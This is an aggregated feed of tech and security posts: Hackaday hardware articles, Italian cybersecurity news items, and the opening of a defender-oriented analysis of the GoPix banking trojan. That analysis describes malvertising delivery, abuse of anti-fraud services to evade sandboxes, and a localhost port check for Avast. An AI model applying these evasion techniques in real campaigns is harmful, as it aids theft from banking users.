Cybersecurity & cyberwarfare

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Last Notes

2026-07-26 11:56:06 UTC

Protezioni di GrapheneOS contro l'estrazione di dati da dispositivi bloccati.GrapheneOS offre solide difese contro l'estrazione dei dati. Si basa in gran parte sulle funzionalità di sicurezza standard fornite da Android 17 e sull'hardware più sicuro disponibile per Android. Attualmente, solo i Pixel offrono le funzionalità di sicurezza hardware e gli aggiornamenti richiesti da GrapheneOS. Questo cambierà nel 2027 grazie alla nostra partnership con Motorola Mobility e ai progressi compiuti da Qualcomm.
discuss.grapheneos.org/d/40700…
@nprofile…fwcg

2026-06-15 23:00:02 UTC

Building a Ceiling-Based Crane Robot to Keep a Room Clean
One of the joys you get to experience whether as a proud parent or pet owner is that a lot of things get left around haphazardly. You could of course pick every piece of discarded clothing, half-destroyed toy and detritus yourself, but as a parent of three children himself [Nathaniel Nifong] opted to use his engineering background to potentially over engineer a wires-suspended robotic claw to do this picking up for him.
What he calls Stringman robots requires an anchoring point at four corners of a room, after which the robotic crane can then scour across the ceiling, identify targets to pick up and move these to predesignated drop-off points. It’s an open source project with the LeRobot-based firmware available on GitHub in addition to build instructions for the physical hardware. There’s also a pilot run of ready to use hardware and kits for those who want to trial it, but aren’t interested in building it themselves via [Nathaniel]’s company website.
The basic idea is that this crane can run for an hour or so and deal with the mess in its room without having to do anything yourself. The process isn’t perfect yet, of course, with the underlying diffusion transformer to implement machine vision requiring more refinement. The gripper itself struggles with objects like books, which can be a concern for parents and bookworms, and of course while the crane is operating the wires will dip down as a potential risk to anyone in the room.
Compared to an overhead crane like a traditional bridge crane this wire-suspension crane is probably more stable, but either is an interesting engineering challenge when applied to a household. Next it would probably also be cool if items could be put away where they belong instead of dropped into a bin, as so far that task will still be left to deal with by the adult humans.
youtube.com/embed/vsL1EHt5iBY?…
hackaday.com/2026/06/15/buildi…
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2026-06-10 20:00:46 UTC

Safely Using Old EV Batteries in Your Home Solar Setup
As straightforward as the concept of taking battery packs out of an old electric or hybrid car and reusing them for home power storage sounds, this thought process skips a few essential steps. As argued by [Ed] in a recent video based on his own experiences with high-voltage Nissan Leaf batteries in a home PV system, the main problem is that you’re taking a battery out of a larger system including a lot of the management hardware and software.
The referenced Battery Emulator project is an open source effort to create a suitable interface between these EV batteries, with the mentioned Nissan Leaf being just one example in the project Wiki, with the connection scheme shown in the top image. It’s also noted that the Leaf battery BMS is not designed to operate continuously, so they need to be restarted every day or so lest they become too inaccurate.
These and other things are all solid reasons why you have to be absolutely certain that you want to integrate these high-voltage battery packs into your 12 – 48V low-voltage DC system. You’re after all assuming all the responsibility of setting up a system that’s both safe and reliable, so having a good read through something like the Battery Emulator Wiki and sourcing first-hand experiences from the folk in this community would be a very wise first step.
youtube.com/embed/zcyRrmwDoZg?…
hackaday.com/2026/06/10/safely…
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2026-05-27 18:30:41 UTC

Inside Dyson’s Over-Engineered ₤1000 Hand Dryer
It seems fair to say that Dyson sits at the intersection of impressive engineering and borderline ridiculous products. The Dyson Airblade 9KJ hand dryer that [ElectrArc240] recently took to bits would definitely seem to fall under the latter, combining an incredible amount of engineering all for the simple task of drying wet hands.
These hand dryers are rated for a cool 900 Watts, with an 0.5 W standby power consumption, though you can also switch it to a 650 W ‘eco mode’ when installing it. The air that gets sucked into the dryer first passes through a HEPA filter before it hits the heating element and then gets blown out of the handles onto one’s hands.
Both of these handles come with a presence sensor in the form of an ST VL53L3CX time-of-flight sensor, along with a path for the heated air towards the thin slits. Returning to the section just past the HEPA filter is the compressor, with a rather fancy airflow path that involves various stacked meshes. As can be seen in the video, where you’d expect basically a simple blower motor or so, there is a truly astounding amount of parts as the teardown progresses.
The motor disassembly is the first part where some desoldering and breaking of glue bonds is really necessary, but it gives full access to the driver board. The circuit used here is your typical IGBT-based gate driver, though with a mystery PIC MCU to do things. Following this the tear-down turns fully destructive, giving access to the motor internals.
Following an analysis of these internals we marvel at the carbon-fiber rotor that keeps the single magnet in one piece. This is another engineering choice that serves to justify the 1,000 quid price tag. All so that rest room visitors do not have to suffer the humility of using paper towels.
youtube.com/embed/xrOi4-n_L64?…
hackaday.com/2026/05/27/inside…
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2026-05-27 12:54:18 UTC

Relazione ACN 2025, più eventi cyber e meno incidenti: cosa significa davvero per le aziende
@nprofile…fwcg
La Relazione annuale al Parlamento dell'Agenzia per la Cybersicurezza Nazionale fotografa un'Italia digitalmente più esposta ma anche più resiliente: 2.729 eventi cyber gestiti, 615 incidenti confermati e un gap

2026-05-23 07:12:16 UTC

Chi è Andrea Quacivi, il nuovo capo dell’Agenzia per la cybersicurezza al posto di Frattasi
@nprofile…fwcg
Tutto sul manager Andrea Quacivi, nuovo direttore generale dell'Agenzia per la cybersicurezza nazionale (Acn) che prende il posto del prefetto Bruno Frattasi. Fatti e approfondimenti sulle ragioni del ribaltone ai vertici

2026-05-23 05:00:26 UTC

The Team Behind The Flipper One Needs Your Help
You’ve probably heard of the Flipper Zero, a pocket-sized device that packs in lots of great hacking potential. The team behind it has now turned their efforts towards developing the Flipper One, and they’re calling out for help from the broader community.
The Flipper One is not intended to be a replacement or sequel for the Flipper Zero. Instead, it’s designed to exist as a entirely new device in its own segment. The team is hoping to build “the most open and best-documented ARM computer in the world,” as they attempt to create a Linux cyberdeck of grand capability. Where the Flipper Zero has found great use for interrogating and investigating low level communications, like IR and NFC, the Flipper One is intended to go to a higher level, working with protocols like Wi-Fi, 5G, and Ethernet in the networked world.
The new device will be based around a co-processor architecture, where a microcontroller is paired with a capable CPU for great flexibility. It will also feature all the high-speed interfaces you’d expect, like PCI Express, USB 3.0, SATA, and Gigabit Ethernet. It’s a proper, capital-C Computer in that regard. The intention of the team is also to redefine some of the typical Linux experience, by creating GUI wrappers around certain traditional CLI utilities. It should go a long way to giving the software the same cyberdeck feel that the current prototypes embody in their hardware design.
If you want to learn more and get involved, head over to the Flipper One Development Portal and dive in. Alternatively, you might like to get up to speed with some of our prior reporting on the Flipper Zero. Happy hacking!
[Thanks to Andrew for the tip!]
hackaday.com/2026/05/22/the-te…
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2026-05-12 08:00:09 UTC

Another Gift To The World From CERN: Their Entire Set Of KiCad Libraries
As the foremost boffins of Europe toil deep underneath the border between Switzerland and France in their never-ending quest to truly understand the fabric of the Universe, they rely on a vast amount of electronics. The PCB layout team at the particle accelerator thus work with a huge array of parts, for which of course they create KiCad libraries. Now the folks at CERN have made those libraries available as open source, so you can benefit from their work.
The libraries themselves can be found in a GitLab repository, and at the moment are offered only for KiCad version 9.x. We tried installing it in our KiCad 10.0 installation and it refused complaining of a missing JSON file, but we’re assuming that with more time and effort we could have made it happen. We’re told official 10.x compatibility is on the way.
Browsing the repository shows what a multiplicity of parts are included, so we can see this becoming a standard install for many people and the CERN footprints turning up in many projects featured here.
Thanks [Daniel] for the tip!
hackaday.com/2026/05/12/anothe…
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2026-05-11 14:00:19 UTC

The Vacuum Tube’s Last Stand(s)
When most people think about vacuum tubes, they picture big glass bottles glowing inside antique radios or early computers. History often treats tubes as a dead-end technology that was suddenly swept away by the transistor in the 1950s. But the reality is much more interesting. Vacuum tube technology did not simply stop evolving when the transistor appeared. In fact, some of the most sophisticated and technically impressive tube designs emerged after the transistor had already been invented.
During the final decades of mainstream tube development, manufacturers pushed the technology in remarkable directions. Tubes became smaller, faster, quieter, more rugged, and more specialized. Designers experimented with exotic geometries, ceramic construction, metal envelopes, ultra-high-frequency operation, and even hybrid tube-semiconductor systems. Devices such as acorn tubes, lighthouse tubes, compactrons, and nuvistors represented a last gasp of thermionic electronics.
Ironically, many of these innovations arrived just as solid-state electronics were becoming commercially practical. Vacuum tubes were improving rapidly right up until the market abandoned them.
The Pressure to Improve
By the 1930s and 1940s, vacuum tubes dominated electronics. Radios, radar systems, military communications, industrial controls, and the first digital computers all depended on them. But everyone was painfully aware of their problems.
Traditional tubes were fragile, generated heat, consumed significant power, and suffered from limitations at high frequencies. Internal lead lengths created parasitic inductance and capacitance. At radio frequencies and especially microwave frequencies, those unwanted effects made design difficult.
Military requirements during World War II accelerated development dramatically. Radar systems needed tubes capable of operating at VHF, UHF, and microwave frequencies. Vehicle equipment required devices that could withstand punishment. Computers with tubes suffered from frequent failures, took up entire rooms, and needed special cooling equipment, often bigger than the computer. These pressures drove tube designers into an intense period of innovation.
Acorn Tubes: Tiny Tubes for High Frequencies
One of the earliest major departures from conventional tube geometry was the acorn tube. Developed in the 1930s by RCA, the acorn tube got its name from its distinctive shape, which resembled an acorn with wire leads protruding from the base and sides. Unlike ordinary tubes, where the internal elements had relatively long leads, the acorn design minimized lead length to reduce parasitic capacitance and inductance. At high frequencies, this reduction was crucial.
One famous example was the 955 acorn triode. These tubes found use in experimental television receivers, military radios, and laboratory equipment. Acorn tubes also reflected an important trend in late tube development: engineers were increasingly treating tubes not merely as amplifying devices, but as microwave structures requiring careful electromagnetic design.
youtube.com/embed/POeim3qf5Sw?…
The Lighthouse Tube
If acorn tubes were specialized, lighthouse tubes were positively futuristic. Lighthouse tubes abandoned the classic cylindrical glass form almost entirely. Instead, they used stacked disk-like electrodes arranged in a compact coaxial structure. The resulting geometry minimized transit times and parasitic reactances, allowing operation into microwave frequencies.
The tubes vaguely resembled a lighthouse tower. These tubes became essential in radar systems during World War II and the early Cold War period. Some lighthouse designs could operate in the gigahertz range, something impossible for conventional receiving tubes.
Their construction also introduced new manufacturing techniques. Many used ceramic and metal rather than large glass envelopes. This improved heat resistance and mechanical stability while reducing losses at high frequencies.
In many ways, lighthouse tubes represented the transition from classic vacuum tubes and true microwave devices like klystrons and traveling-wave tubes.
youtube.com/embed/S1lFS_N0kaY?…
Metal Tubes and Ruggedization
Another path of tube evolution focused on durability and compactness. Early tubes used fragile glass envelopes that were easily broken and susceptible to microphonics and vibration. During the 1930s, manufacturers introduced all-metal tube designs. These tubes replaced the glass envelope with a metal shell, improving shielding and mechanical ruggedness.
Metal tubes were particularly attractive for military and automotive applications. Shielding reduced interference, while the smaller physical size allowed more compact equipment layouts.
Hybrid glass-metal constructions also became common. Engineers experimented constantly with new materials and packaging approaches to reduce noise, improve reliability, and extend tube lifespan.
Subminiature Tubes
One of the most impressive developments was the subminiature tube. These tiny devices often looked more like oversized resistors than conventional tubes. Some were less than an inch long and designed to be soldered directly into circuits rather than plugged into sockets.
Subminiature tubes emerged largely from military demands during and after World War II. Proximity fuzes for artillery shells required electronics small enough to survive being fired from a cannon. Traditional tubes would simply shatter under the acceleration.
The resulting ruggedized miniature tubes were shock-resistant and compact enough for portable military electronics. After the war, subminiature tubes appeared in hearing aids, portable radios, test instruments, and early miniaturized computers.
youtube.com/embed/jegSJ0039-A?…
The Nuvistor: The Ultimate Receiving Tube
One of the most interesting late-stage vacuum tube was the RCA Nuvistor. Introduced by RCA in 1959, the nuvistor represented an attempt to create a truly modern vacuum tube for the transistor age.
Unlike classic glass tubes, nuvistors used a compact metal-and-ceramic construction. They were extremely small, highly reliable, vibration-resistant, and capable of excellent high-frequency performance. They also exhibited very low noise characteristics. At first glance, a nuvistor hardly resembles a traditional tube at all. You could easily mistake these for some other component in a metal can.
Technically, nuvistors were excellent devices. They offered superior performance in many RF applications compared to early transistors, particularly in television tuners, instrumentation, and aerospace electronics.
High-end studio microphones also adopted nuvistors because of their low noise and desirable electrical behavior. Some audiophiles still use nuvistor-based equipment today.
But despite their capabilities, nuvistors arrived too late. Semiconductor technology was improving rapidly. Silicon transistors were becoming cheaper, more reliable, and easier to manufacture in large quantities. Integrated circuits loomed on the horizon. The nuvistor may have been the best small receiving tube ever made, but it was competing against a technology whose economics would soon become overwhelming.
youtube.com/embed/5NJbeDd6sJ4?…
Compactrons
As semiconductor electronics advanced, tube manufacturers attempted another strategy: integration. The Compactron, introduced by General Electric in the early 1960s, combined multiple tube functions into a single envelope. A compactron might contain several triodes, pentodes, or diode sections in one package. This reduced component count, simplified wiring, and lowered manufacturing costs for television sets and other consumer electronics. Of course, tubes with multiple electrodes weren’t new. They dated back to at least 1926. However, GE’s aggressive marketing of the brand was an attempt to prevent designers from defecting to the solid-state camp.
In some sense, compactrons were the vacuum tube answer to integrated circuits. Engineers were trying to achieve greater functional density while keeping tube-based designs economically competitive. GE’s Porta-Color, the first portable color television, used 13 tubes, including 10 Compactrons. They usually have 12-pin bases and an evacuation tip at the bottom of the tube rather than at the top.
Compactrons saw widespread use in televisions, stereos, and industrial electronics during the 1960s and early 1970s. But again, semiconductor integration advanced even faster. The battle was becoming impossible to win.
Specialized Tubes Survived
Even after transistors took over consumer electronics, vacuum tubes remained important in specialized fields. Microwave tubes such as klystrons, magnetrons, and traveling-wave tubes continued to dominate high-power RF applications. Radar systems, satellite communications, particle accelerators, and broadcast transmitters all relied on advanced vacuum devices. In some areas, they still do.
A modern microwave transmitter aboard a communications satellite may still use a traveling-wave tube amplifier because tubes can handle very high frequencies and power levels efficiently.
No Instant Win
One misconception about electronics history is that the transistor immediately rendered tubes obsolete after its invention at Bell Labs in 1947. That is not what happened.
Early transistors had many limitations. They were noisy, temperature-sensitive, low-power, and expensive. Tubes often outperformed them in RF circuits, audio applications, and high-power systems well into the 1960s.
For a significant period, designers genuinely did not know which technology would dominate certain markets. Tube designers were still making substantial advances. Nuvistors and Compactrons were not desperate relics; they were serious engineering efforts intended to compete in a changing world.
Ultimately, however, semiconductors possessed overwhelming long-term advantages. Transistors required less power, generated less heat, occupied less space, and could be manufactured using scalable photolithographic processes. Once integrated circuits became practical, the economics shifted decisively. Vacuum tubes could evolve, but they could not shrink into millions of devices on a silicon chip.
The final years of vacuum tube development are often overlooked because history tends to focus on winners. Yet this period produced some of the most elegant and specialized electronic devices ever created. By the late tube era, vacuum tube manufacturing had become quite refined. Engineers could produce tubes with tightly controlled characteristics and surprisingly long operating lives.
youtube.com/embed/Ycr8EJUpKw0?…
Some early transistorized devices still retained subminiature tubes in certain high-frequency or low-noise stages because transistors had not yet surpassed tube performance in every application. This overlap period is often forgotten today. Electronics did not instantly switch from tubes to semiconductors. For years, many systems used both. For many years, a typical ham radio transmitter, for example, would be all solid-state except for the power amplifier finals, which were often a pair of 6146 tubes.
You can, of course, make your own tubes. If you’ve had enough of making your own tubes, maybe try reproducing some of these advanced models.
hackaday.com/2026/05/11/the-va…
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2026-05-07 18:00:18 UTC

Congratulations to the Green Powered Challenge Winners!
For this challenge, we asked you to show off your hacks that power themselves sustainably from the environment around them. After all, nobody likes wires, and changing batteries is just a hassle. What’s better than an autonomous gizmo? Nothing.
Because this is Hackaday, we expected to see some finished-looking projects, some absolutely zany concepts, and basically everything in-between, and you did not disappoint! So without further ado, let’s have a look at the 2026 Green Powered Challenge winners, each of whom will be going on a $150 shopping spree at DigiKey, our contest’s sponsor.LightInk Solar Watch
LightInk is a beautiful wristwatch, and e-ink is a natural companion to the small power budget that you get with a wrist-mounted solar panel. But don’t be fooled by its good looks! The real beauty of this hack is the way that [Daniel Ansorregui] crammed the screen-updating routine into the wakeup stub in the RTC peripheral. This means that the ESP32 doesn’t have to access the SPI flash every time it wakes up, saving precious milliseconds of wake time, and cutting average power in half. This is a trick you’ll want to know even if you don’t need a sexy e-ink wristwatch. (Which you do.)
Supercapacitor Solar IoT
[Nelectra]’s “Heliotrax” solar supercapacitor charger stores up the sun’s power in low-maintenance supercapacitors until it’s time to wake up your device. But supercaps have an output voltage that depends dramatically on their state of charge, so [Nelectra] added a high-efficiency and low-leakage boost converter to get a nice constant voltage out. Depending on your current needs, it can charge up in the sun and run for a few dark days without any problems. It’s a one-stop shop for solar-powered IoT devices, and it should make a whole range of projects easier to realize.
powerTimer
[Juan Flores]’s powerTimer is another module that enables your small off-grid hacks. In this case, it’s a simple latching electronic switch, designed for ultra-low quiescent power. Maybe your project has a microcontroller with a good sleep mode, but the peripherals are leaky hogs? Put the powerTimer in the middle and get your whole system’s power budget down without much extra thought. And if you don’t want to wake the microcontroller, it’s got a low-power RTC on board that can handle periodic wakeups. It’s a sweet, simple design that solves a real problem, and our judges loved that.
Honorable Mentions
Solar: We knew there would be some great solar-powered projects here, and [Jake Wachlin]’s Ultra Low Power Feather Development Board is a great example. He pairs a low-power accelerometer and barometer with a power-sipping microcontroller to almost achieve ambient-room-lighting capability. [Jake] says you have to put it directly under a light, or in indirect sunlight. But if you have full sun at your disposal, [Arnov Sharma]’s SolMate is a lovely DIY solar power bank that we’d love to bring to the park with us.
Anything But PV: OK, enough solar. [Ethan]’s Gravity-Powered Digital Clock is exactly the sort of out-of-the-box idea we were hoping to see. He pairs a Casio F91W with an insane gear train, a homebrew electrical generator, and a dumbbell to gather up all of the gravity that makes it work. Or should do so. The gear train ended up having so many stages that it wouldn’t turn under its own magnified friction, and the project doesn’t quite spin. But we love the idea of a wind-up electrical clock, and we hope [Ethan] doesn’t give up!
Least Power: [caspar]’s Harvesting NFC Energy to Transmit Commands includes a stock Pi Pico dev board and some AA batteries, so you might be thinking “where is the low power element?” It’s the NFC wakeup circuit that reads in some data and writes it directly to the Pico’s EEPROM, before it wakes the chip up, which then reads the command out of EEPROM and does whatever it does under normal battery power, and then shuts itself down again. We love the idea of surreptitious NFC-powered data insertion while the microcontroller is still sleeping.
Most Power: We initially expected this honorable mention to go to an over-sized solar install, but in the end [alnwlsn]’s Practical Power Cycling won over our judges with an unbeatable display of human determination: over five years, [alnwlsn] has generated 38 kWh on his generator bike, has powered a 3D printer through a Benchy, and even toasted a piece of toast. Maybe the real power here is the human spirit? Check out [alnwlsn]’s great build logs and diary.
Thanks to All!
Much thanks to everyone who entered into this challenge. We had more great entries than we have space to feature, so be sure to check them all out on Hackaday.io. And of course, thanks again to DigiKey for sponsoring the contest, and for providing our three finalists with the parts they need!
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2026-05-05 16:30:57 UTC

Il numero breve dell’Agcom per le chiamate degli operatori: contrasto alle pratiche abusive
@nprofile…fwcg
L'Agcom ha introdotto le numerazioni brevi a tre cifre come identificativo del chiamante per operatori, imprese e call center che agiscono nell’alveo della legalità. Ecco perché è importante riconoscere le

2026-04-28 02:00:35 UTC

Why Solid State Batteries Short
Solid state batteries, we are told, are the new hot battery technology that will replace lithium-ion batteries. Soon. Not that we haven’t heard that before. One reason it isn’t dominating the market today is that it’s prone to short circuits during charging. [Dr. Yuwei Zhang and others have published a paper detailing why the shorts happen, which could lead to strategies to improve the technology.
Solid state batteries employ a solid electrolyte and a lithium anode. It is known that, sometimes, lithium metal from the anode forms dendrites that penetrate the ceramic electrolyte and cause it to crack. This is somewhat of a mystery as the lithium is a soft metal (to quote [Zhang], “like a gummy bear.”).
There were two leading hypotheses for the observations. [Zhang’s] team showed that hydrostatic stress made the lithium dendrites act like a water jet, enabling them to penetrate the hard ceramic.
There is still work to figure out what to do about it, but understanding the root cause is certainly a step in the right direction. We’ve looked at these batteries before. We’ve also seen how changing the anode construction might help with the problem.
hackaday.com/2026/04/27/why-so…
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2026-04-15 18:27:20 UTC

Hackerati i Pc di varie banche: ma è un problema di modello di sicurezza
@nprofile…fwcg
Un criminale, arrestato dalla Polizia, è riuscito ad installare dispositivi sui computer di un istituto di credito, intercettando il traffico dati e rubando credenziali di accesso dei clienti ai sistemi bancari. Ecco come sono stati hackerati i Pc di più banche e

2026-04-05 11:00:23 UTC

Turning a Bluetooth Caliper into a FreeCAD Input Device
It’s a common ritual: whipping out those calipers or similar measuring devices to measure part of a physical object that we’re trying to transfer into a digital model in an application like FreeCAD. Wouldn’t it be nice if said measurements were to be transferred instantaneously into the model’s sketch, including appropriate units of measurement? That’s essentially what [stv0g] has done by merging a Sylvac Bluetooth-enabled caliper and FreeCAD using a plugin.
Key to the whole operation is a Bluetooth-enabled caliper like the Sylvac S_Cal EVO that [stv0g] managed to score on EBay for a mere €90 when it normally goes for multiple times that amount. This has BLE built in, using BLE’s standard GATT profiles for device communications specifications. Along with the provided Sylvac developer tools, this made it relatively easy to develop the InstrumentInput addon for FreeCAD.
This addon can be easily installed via FreeCAD’s addon manager as well, or if you wish to just use the calipers this way and don’t care about FreeCAD, the base Python library is also available.
Interestingly, this BLE-enabled caliper also supports HID mode, to emulate keyboard input, and thus it can work in any application by default. The reason why [stv0g] didn’t use this was that it only sends data when you press the caliper’s button, and it’s rather slow and limited.
Ever wonder what’s inside those calipers? We did too.
hackaday.com/2026/04/05/turnin…
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2026-03-31 16:33:15 UTC

Qualcuno ha dirottato uno strumento di sviluppo software open source per diffondere malware a milioni di persone.
L'attacco alla catena di approvvigionamento è stato bloccato in meno di tre ore, ma non è ancora chiaro quante persone siano state colpite.
techcrunch.com/2026/03/31/hack…
@nprofile…fwcg
RE: infosec.exchange/users/lorenzo…
#nevent1q…zxqx

2026-03-16 15:30:18 UTC

LEGO Machine Plays Tic-Tac-Toe Without Electronics
Tic-Tac-Toe is a relatively simple game, and one of the few which has effectively been solved for perfect play. The nature of the game made it possible for [Joost van Velzen] to create a LEGO machine that can play the game properly in an entirely mechanical fashion.
The build features no electronics to speak of. Instead, it uses 52 mechanical logic gates and 204 bits of mechanical memory to understand and process the game state and respond with appropriate moves in turn. There are some limitations to the build, however—the game state always begins with the machine taking the center square. Furthermore, the initial move must always be played on one of two squares—given the nature of the game though, this doesn’t really make a difference.
It’s also worth heading over to the Flickr page for the project just to appreciate the aesthetics of the build. It’s styled in the fashion of an 18th-century automaton or similar. It’s also been shared on LEGO Ideas where it’s raised quite a profile.
If you’ve ever wanted to think about computing in a mechanical sense, this build is a great example of how it can be done. We often see some fun LEGO machines around these parts, from massive parts sorters to somewhat-functional typewriters.
youtube.com/embed/soklpa_JZOI?…
hackaday.com/2026/03/16/lego-m…
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2026-03-16 14:47:27 UTC

Parliamo del fronte cyber Iran-USA: Handala contro Stryker
@nprofile…fwcg
E’ da un po’ che non riuscivo a prendere del tempo per aggiornare questo blog e, visti gli avvenimenti che hanno determinato e stanno determinando la sicurezza nelle ultime settimane, riapro con un post sull’Iran. L’11 marzo 2026 Stryker, uno dei colossi mondiali della tecnologia medicale, ha

2026-03-16 14:00:33 UTC

Ask Hackaday: Wired or Wireless Headphones?
They say you should never throw out old clothes because they will come back in style one day. Maybe they are right. We noted in a recent BBC post that, apparently, wired headphones are making a comeback. Like many people, we were dismayed when Apple took the headphone jack out of the iPhone and, as [Thomas Germain] notes, even Google eventually ejected the normal headphone jack. (Although, in fairness, most of the Pixel phones we’ve seen come with a pair of USB-C earbuds.)
On the face of it, though, wireless seems to be a good idea. You can get cheap Bluetooth earbuds now, although maybe still not as cheap as wired buds. Sure, they sound terrible, but so do cheap buds. It is a pain to charge them, of course, but not having to untangle wires is a benefit. On the other hand, you never have to charge your wired headphones.
So why are people suddenly going back to wires? According to the BBC and analytics firm Circana, the second half of 2025 saw an explosion in wired headphone sales, and sales continued to rise in 2026.
youtube.com/embed/vGH5220CHuY?…
Quality of Sound
The biggest reason cited was sound quality. While Bluetooth has made huge strides in sound quality, you are still trading something for wireless. We have to admit, we get annoyed when the Bluetooth drops out, but we wonder how many people can really hear much difference in audio quality? If you care about latency, maybe that’s a point in the wired gear’s favor. But if your song starts 250 milliseconds late, you probably don’t care. It is only an issue when you have video or games.
Many people, when using a modern Bluetooth stack, can’t tell the difference in audio quality between wired and wireless, especially with normal source material and in typical listening environments.
According to [SoundGuys], while Bluetooth is technically worse, if you are over 24 or not in a perfectly quiet environment, you probably can’t tell the difference. Another study found that casual listeners could only guess which headphones were wireless 50% of the time. Even two pro audio people got it wrong 30% of the time.
It Got Better
The problem historically with Bluetooth is that it creates a digital stream to the headphones, which is compressed and decompressed using a codec. The original codec was SBC (Subband Codec), and it didn’t sound that great.
However, as technology gets better, so do the codecs. AAC, LDAC, and others sound great. LDAC, for example, transmits audio at roughly 990 kbps and with very little distortion.
youtube.com/embed/XU_XUgnvgt4?…
So when you are looking at Bluetooth sound, you have to account for several things. If your source or destination doesn’t support modern codecs, it might not sound as good as it could. In addition, you are dealing with the headphone’s internal digital-to-analog converter. If you think your $10 earbuds have a converter that matches the audio output from your phone or motherboard, you will probably be disappointed. But that’s not a fault inherent with Bluetooth. Cheap sound devices sound worse than expensive ones, in general.
Other Reasons
There are other reasons to go wired. Apparently, some social media influencers have decided that the right pair of wires dangling from your ears is a fashion accessory. Maybe some of it is like the resurgence of vinyl records or typewriters: nostalgia. Or, perhaps it is just a fad. As a practical matter, it does help people see that you are just sitting at your desk swaying for no reason.
Apparently, even the brand and design of headphones are important to fashionistas. For example, the three-year-old video below shows how old Koss headphones with some color changes went viral. (Although of course you can also get a Bluetooth variant.)
youtube.com/embed/eehbsqKmyg8?…
While this might not make sense to a Hackaday crowd, headphones have long been a fashion accessory, and headphones like Beats were, at least at one point, the must-have accessory for some people.
Of course, if you really want to make a statement, you can check whether any of the 10 $135,000 headphones are in stock. Or, try a $750,000 pair of Beats, which probably don’t sound as good as you would hope for that price.
Back to Reality
There are people who swear they need gold-plated cables or ones with no oxygen or whatever to get the perfect sound. Tests involving sending audio through a banana don’t back that up.
So, sure, you need to invest in good-quality gear. You really need to make sure the whole setup supports something like aptX, LDAC, or even AAC. You also need a good source. Old movies don’t look better on an 8K TV; after all, why should your headphones improve your 1979 mix tape digitized at 32k?
youtube.com/embed/IvIYh87Eihs?…
Unless you are worried about latency or you experience dropouts for some reason, there is very little difference for most people. Of course, if you want to use a wired headphone on a modern phone, you probably need an adapter or USB headphones, which basically have the adapter built in. And your audio will only be as good as that adapter, too, so choose wisely. Don’t forget to pick the right cables, too.
If you are experiencing dropouts, you may need better equipment. Or maybe just take your phone out of your pocket with the keys and the RFID-blocking wallet. Bluetooth can, in theory, travel 30 ft, but reality is something else, and interference from other devices can also be a problem, especially if you have a dual WiFi/Bluetooth device in your computer. We’ve heard, too, that unpairing and repairing can sometimes help, although you wouldn’t think it should matter.
One thing we do suggest. As long as wired headphones are a fad, it is probably a great time to list your old wired gear on eBay, Facebook Marketplace, or a similar site. Fads drive prices up, and the old cans may never be worth so much again.
Your Turn
So what do you think? Can you really tell the difference? What’s your daily driver? Let us know in the comments.
hackaday.com/2026/03/16/ask-ha…
https://hackaday.com/wp-content/uploads/2022/05/iPod.jpg?w=800

2026-03-16 12:00:52 UTC

The era of kids social media bans is upon us
IT'S MONDAY, AND THIS IS DIGITAL POLITICS. I'm Mark Scott, and I'll be speaking at the annual CPDP conference in Brussels in May about how to boost researchers' access to social media data in the name of platform governance. If that's your bag, come say hello here.
— Countries are barreling ahead with kids' social media bans without assessing the evidence and failing to understand the likely collateral damage.
– Canada offers an example of how a so-called Middle Power can both increase its digital sovereignty without cutting itself off from the global tech community.
— Europe's national agencies in charge of the Digital Services Act come from markedly different regulatory traditions.
Let's get started:
digitalpolitics.co/newsletter0…
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2026-03-16 11:00:25 UTC

Free real estate: GoPix, the banking Trojan living off your memoryIntroduction
GoPix is an advanced persistent threat targeting Brazilian financial institutions’ customers and cryptocurrency users. It represents an evolved threat targeting internet banking users through memory-only implants and obfuscated PowerShell scripts. It evolved from the RAT and Automated Transfer System (ATS) threats that were used in other malware campaigns into a unique threat never seen before. Operating as a LOLBin (Living-off-the-Land Binary), GoPix exemplifies a sophisticated approach that integrates malvertising vectors via platforms such as Google Ads to compromise prominent financial institutions’ customers.
Our extensive analysis reveals GoPix’s capabilities to execute man-in-the-middle attacks, monitor Pix transactions, Boleto slips, and manipulate cryptocurrency transactions. The malware strategically bypasses security measures implemented by financial institutions while maintaining persistence and employing robust cleanup mechanisms to challenge Digital Forensics and Incident Response (DFIR) efforts.
GoPix has reached a level of sophistication never before seen in malware originating in Brazil. It’s been over three years since we first identified it, and it remains highly active. The threat is recognized for its stealthy methods of infecting victims and evading detection by security software, using new tricks to stay operable.
The threat differs in its behavior from the RATs already seen in other Brazilian families, such as Grandoreiro. GoPix uses C2s with a very short lifespan, which stay online only for a few hours. In addition, the attackers behind this threat abuse legitimate anti-fraud and reputation services to perform targeted delivery of its payload and ensure that they have not infected a sandbox or system used in analysis. They handpick their victims, financial bodies of state governments and large corporations.
The campaign leverages a malvertisement technique which has been active since December 2022. The strategic use of multiple obfuscation layers and a stolen code signing certificate showcases GoPix’s ability to evade traditional security defenses and steal and manipulate sensitive financial data.
The Brazilian group behind GoPix is clearly learning from APT groups to make malware persistent and hide it, loading its modules into memory, keeping few artifacts on disk, and making hunting with YARA rules ineffective for capturing them. The malware can also switch between processes for specific functionalities, potentially disabling security software, as well as executing a man-in-the-middle attack with a previously unseen technique.
Initial infection
Initial infection is achieved through malvertising campaigns. The threat actors in most cases use Google Ads to spread baits related to popular services like WhatsApp, Google Chrome, and the Brazilian postal service Correios and lure victims to malicious landing pages.
We have been monitoring this threat since 2023, and it continues to be very active for the time being.
GoPix malware campaign detections (download)
The initial infection vector is shown below:
Initial infection vector
When the user ends up on the GoPix landing page, the malware abuses legitimate IP scoring systems to determine whether the user is a target of interest or a bot running in malware analysis environments. The initial scoring is done through a legitimate anti-fraud service, with a number of browser and environment parameters sent to this service, which returns a request ID. The malicious website uses this ID to check whether the user should receive the malicious installer or be redirected to a harmless dummy landing page. If the user is not considered a valuable target, no malware is delivered.
Website shown if the user is detected as a bot or sandbox
However, if the victim passes the bot check, the malicious website will query the check.php endpoint, which will then return a JSON response with two URLs:
JSON response from a malicious endpoint
The victim will then be presented with a fake webpage offering to download advertised software, this being the malicious “WhatsApp Web installer” in the case at hand. To decide which URL the victim will be redirected to, another check happens in the JavaScript code for whether the 27275 port is open on localhost.
WebSocket request to check if the port is open
This port is used by the Avast Safe Banking feature, present in many Avast products, which are very popular in countries like Brazil. If the port is open, the victim is led to download the first-stage payload from the second URL (url2). It is a ZIP file containing an LNK file with an obfuscated PowerShell designed to download the next stage. If the port is closed, the victim is redirected to the first URL (url), which offers to download a fake WhatsApp executable NSIS installer.
At first, we thought this detection could lead the victim to a potential exploit. However, during our research, we discovered that the only difference was that if Avast was installed, the victim was led to another infection vector, which we describe below.
Malware delivered through a malicious websiteInfection chainFirst-stage payload
